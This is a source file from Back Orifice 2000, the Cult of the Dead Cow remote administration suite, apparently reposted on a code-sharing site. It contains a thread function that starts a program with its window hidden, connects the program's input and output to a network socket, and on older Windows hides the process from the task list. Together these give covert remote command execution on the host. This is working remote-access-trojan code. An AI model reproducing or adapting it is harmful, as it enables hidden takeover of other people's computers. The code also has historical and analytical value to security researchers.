cmd_tcpip_app.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:4k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<osversion.h>
  18. #include<iohandler.h>
  19. #include<functions.h>
  20. #include<cmdcmd_tcpip.h>
  21. #include<pviewer.h>
  22. //typedef struct __port_child_param {
  23. // SOCKET s;
  24. // SOCKADDR_IN saddr;
  25. // BOOL *pbDone;
  26. // int nArg1;
  27. // char *svArg2;
  28. // char *svArg3;
  29. //} PORT_CHILD_PARAM;
  30. DWORD WINAPI PortAppThread(LPVOID lpParameter)
  31. {
  32. PORT_CHILD_PARAM *ppcp=(PORT_CHILD_PARAM *) lpParameter;
  33. SECURITY_ATTRIBUTES sa;
  34. sa.bInheritHandle=TRUE;
  35. sa.lpSecurityDescriptor=NULL;
  36. sa.nLength=sizeof(SECURITY_ATTRIBUTES);
  37. // Create Pipe for server input <- network recv
  38. HANDLE hServerInputPipe,hNetworkRecvPipe;
  39. if(CreatePipe(&hServerInputPipe, &hNetworkRecvPipe, &sa, 0)==0) {
  40. closesocket(ppcp->s);
  41. free(ppcp);
  42. return 0;
  43. }
  44. // Create Pipe for server output -> network send
  45. HANDLE hServerOutputPipe,hNetworkSendPipe;
  46. if(CreatePipe(&hNetworkSendPipe, &hServerOutputPipe, &sa, 0)==0) {
  47. CloseHandle(hServerInputPipe);
  48. CloseHandle(hNetworkRecvPipe);
  49. closesocket(ppcp->s);
  50. free(ppcp);
  51. return 0;
  52. }
  53. // Start Application
  54. PROCESS_INFORMATION pi;
  55. STARTUPINFO si;
  56. memset(&si,0,sizeof(STARTUPINFO));
  57. si.cb=sizeof(STARTUPINFO);
  58. si.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_FORCEOFFFEEDBACK;
  59. si.wShowWindow=SW_HIDE;
  60. si.hStdError=hServerOutputPipe;
  61. si.hStdInput=hServerInputPipe;
  62. si.hStdOutput=hServerOutputPipe;
  63. if(CreateProcess(NULL,ppcp->svArg2,NULL,NULL,TRUE,CREATE_SEPARATE_WOW_VDM,NULL,NULL,&si,&pi)==0) {
  64. CloseHandle(hServerInputPipe);
  65. CloseHandle(hNetworkRecvPipe);
  66. CloseHandle(hServerOutputPipe);
  67. CloseHandle(hNetworkSendPipe);
  68. closesocket(ppcp->s);
  69. free(ppcp);
  70. return 0;
  71. }
  72. if(!g_bIsWinNT) {
  73. // Hide redir32.exe if they exist
  74. pRegisterServiceProcess(pi.dwProcessId,1);
  75. }
  76. // Now we sit around and forward packets.
  77. DWORD dwLen,dwBytes;
  78. fd_set rfds;
  79. while(!*(ppcp->pbDone)) {
  80. // Check network socket
  81. Sleep(20);
  82. FD_ZERO(&rfds);
  83. FD_SET(ppcp->s,&rfds);
  84. TIMEVAL tm;
  85. tm.tv_sec=0;
  86. tm.tv_usec=0;
  87. if(select(0,&rfds,NULL,NULL,&tm)>0) {
  88. if(FD_ISSET(ppcp->s,&rfds)) {
  89. ioctlsocket(ppcp->s,FIONREAD,&dwLen);
  90. if(dwLen<=0) {
  91. CloseHandle(hNetworkSendPipe);
  92. CloseHandle(hServerOutputPipe);
  93. CloseHandle(hNetworkRecvPipe);
  94. CloseHandle(hServerInputPipe);
  95. closesocket(ppcp->s);
  96. free(ppcp);
  97. return 0;
  98. }
  99. char *buffer=(char *)malloc(dwLen);
  100. if(buffer!=NULL) {
  101. dwLen=recv(ppcp->s,buffer,dwLen,0);
  102. if(dwLen>0) WriteFile(hNetworkRecvPipe,buffer,dwLen,&dwBytes,NULL);
  103. free(buffer);
  104. }
  105. }
  106. }
  107. // Check handle
  108. PeekNamedPipe(hNetworkSendPipe,NULL,0,NULL,&dwLen,NULL);
  109. if(dwLen>0) {
  110. char *buffer=(char *)malloc(dwLen);
  111. if(buffer!=NULL) {
  112. ReadFile(hNetworkSendPipe,buffer,dwLen,&dwBytes,NULL);
  113. send(ppcp->s,buffer,dwBytes,0);
  114. free(buffer);
  115. }
  116. }
  117. // Check for death
  118. if(WaitForSingleObject(pi.hProcess,0)!=WAIT_TIMEOUT) break;
  119. }
  120. CloseHandle(hNetworkSendPipe);
  121. CloseHandle(hServerOutputPipe);
  122. CloseHandle(hNetworkRecvPipe);
  123. CloseHandle(hServerInputPipe);
  124. closesocket(ppcp->s);
  125. free(ppcp);
  126. return 0;
  127. }